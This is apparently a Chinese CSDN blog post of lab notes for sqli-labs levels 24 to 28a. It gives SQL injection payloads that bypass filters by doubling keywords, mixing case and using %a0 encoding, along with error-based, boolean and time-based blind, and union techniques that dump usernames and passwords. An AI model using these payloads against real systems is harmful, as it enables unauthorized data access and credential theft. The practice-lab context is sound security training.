sqli-labs靶场笔记(五)

本文是sqli-labs靶场笔记第五篇,记录了Less-24至Less-28a多个关卡的SQL注入情况。如Less-24在更改密码页面注入成功;Less-25等关卡存在不同过滤规则,需采用双写绕过、大小写绕过、编码绕过等方法,还涉及时间盲注、联合注入等技术。

sqli-labs靶场笔记(五)

Less-24【二次注入|'注入】

在这里插入图片描述

代码分析

在这里插入图片描述
注册页面存在过滤,无法注入
在这里插入图片描述
更改密码页面没有过滤,可以尝试注入

创建账户

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

成功创建账号admin’ #

登陆账号进行修改密码操作

在这里插入图片描述
在这里插入图片描述
注入成功,成功修改admin密码

Less-25【双写绕过|'注入|注释符屏蔽|报错注入】

该题过滤了and、or、注释符
下面展示 payload

id=1' aandnd extractvalue(1,concat('~',(select database()))) anandd 'a'='a

在这里插入图片描述
在这里插入图片描述

Less-25a【双写过滤|Boolean盲注】

下面展示 payload

id=1 aandnd ascii(substr((select database()),1,1))=115

在这里插入图片描述
在这里插入图片描述
得到数据库为security

Less-26【双写绕过|'注入|注释符屏蔽|报错注入|空格屏蔽】

该题过滤了and、or、空格和注释符

法一:

这里的可以使用||或者采用()绕过
下面展示 payload

1’+aandnd+'a'='a
1'||extractvalue(1,concat('~',(select database())))||'a'='a	//爆破数据库名
1'||extractvalue(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))))||'a'='a	//爆破表名

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

法二:

在linux下执行:
下面展示 payload

id=0'%a0union%a0select%a0 1,2,
(select%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00

%a 相当于空格 转码问题
在这里插入图片描述

Less-26a【编码绕过|’)注入|注释符屏蔽|空格屏蔽】

这题无法使用报错注入、盲注,且在windows上转码存在一定问题,以下去到linux环境下进行。
该题过滤了and、or、空格和注释符

下面展示 payload

id=0'%a0)union%a0select%a0 1,2,
(select%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00

在这里插入图片描述

Less-27【大小写绕过|'注入|编码绕过|注释符屏蔽|空格屏蔽】

该题屏蔽了空格,注释符,select,union
下面展示 payload

id=0'%a0)UniOn%a0SeLect%a0 1,2,
(sEleCt%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00

在这里插入图片描述

Less-27a【大小写绕过|"注入|编码绕过|注释符屏蔽|空格屏蔽】

该题屏蔽了空格,注释符,select,union
下面展示 payload

id=0“%a0UniOn%a0SeLect%a0 1,2,
(sEleCt%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00

在这里插入图片描述

Less-28【时间盲注|空格屏蔽】

该题屏蔽了union、select关键字

下面展示 payload

1%27)and%a0if(ascii(substr((select%a0database()),1,1))=115,sleep(5),1);%00	//时间盲注爆破库名
1%27)and%a0if(ascii(substr((select%a0table_name%a0from%a0information_schema.tables%a0where%a0table_schema=%27security%27%a0limit%a00,1),1,1))=101,sleep(5),1);%00	//时间盲注爆破表名

在这里插入图片描述

在这里插入图片描述

Less-28a【union联合注入|时间盲注】

该题屏蔽了union、select关键字

法一:时间盲注【linux上进行】

下面展示 payload

1%27)and%a0if(ascii(substr((select%a0database()),1,1))=115,sleep(5),1);%00	//时间盲注爆破库名
1%27)and%a0if(ascii(substr((select%a0table_name%a0from%a0information_schema.tables%a0where%a0table_schema=%27security%27%a0limit%a00,1),1,1))=101,sleep(5),1);%00	//时间盲注爆破表名

法二:union联合注入【win系统】

下面展示 payload

-1') uniounion selectn select 1,database(),3%23	//爆破库名
-1') uniounion selectn select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3%23	//爆破表名
id=0') uniounion selectn select 1,2,
(select group_concat( concat_ws( 0x7e,username,password)) from security.users)--+	//爆破数据

在这里插入图片描述
在这里插入图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值